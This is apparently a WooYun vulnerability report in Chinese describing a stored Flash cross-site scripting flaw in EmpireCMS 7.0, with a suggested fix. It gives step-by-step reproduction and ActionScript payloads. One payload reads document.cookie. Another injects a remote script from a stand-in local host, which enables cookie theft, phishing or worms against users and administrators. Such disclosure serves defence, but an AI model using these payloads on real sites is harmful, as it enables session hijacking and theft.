漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-073457
漏洞标题:EmpireCMS存储型跨站
相关厂商:EmpireCMS
漏洞作者: 路人甲
提交时间:2014-08-25 18:42
修复时间:2014-11-23 18:44
公开时间:2014-11-23 18:44
漏洞类型:xss跨站脚本攻击
危害等级:中
自评Rank:10
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-08-25: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-23: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
EmpireCMS通用存储型跨站,利用此漏洞可以攻击其它用户和系统管理员,盗取用户cookie或进行其它破坏操作。
详细说明:
1、涉及版本EmpireCMS 7.0
2、EmpireCMS开源系统对用户发表的文章和新闻内容过滤不严,导致存储型FLASH跨站,由于FLASH可以执行javascript脚本,利用此漏洞,攻击者可以加载本地脚本,盗取用户cookie以及其它信息,或者进行其它形式的攻击。
漏洞证明:
存在漏洞的模块为发表新闻和发表文章模块,以发表文章为例对漏洞进行证明。
1、登录系统,进入会员中心---》投稿---》管理文章---》增加信息,填写文章内容,在新闻正文中点击flash按钮导入flash。
将宽度和高度设置为0,增加了恶意代码的隐蔽性。xss.swf中包含的恶意代码为:getURL("javascript:alert(document.cookie)");
2、拦截请求,在<embed>标签中增加属性allowscriptaccess="always".
3、其它用户浏览文章信息,漏洞触发:
4、使用Firebug查看页面源代码:
flash标签成功插入,且允许执行脚本代码
5、后台管理员浏览文章时,漏洞同样触发:
6、修改xss.swf中的恶意代码为:
import flash.external.ExternalInterface;
ExternalInterface.call("eval","d=document;e=d.createElement('script');e.src='http://127.0.0.1/eXploit.js';d.body.appendChild(e);");//使用ExternalInterface.call()函数加载本地脚本文件,通过修改本地脚本文件内容我们可以进行盗取用户信息、钓鱼,编写蠕虫等操作。
漏洞触发时,成功加载本地脚本:
通过修改本地脚本代码,可以进行针对性的攻击
修复方案:
对<embed>标签的allowscriptaccess属性进行过滤。
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝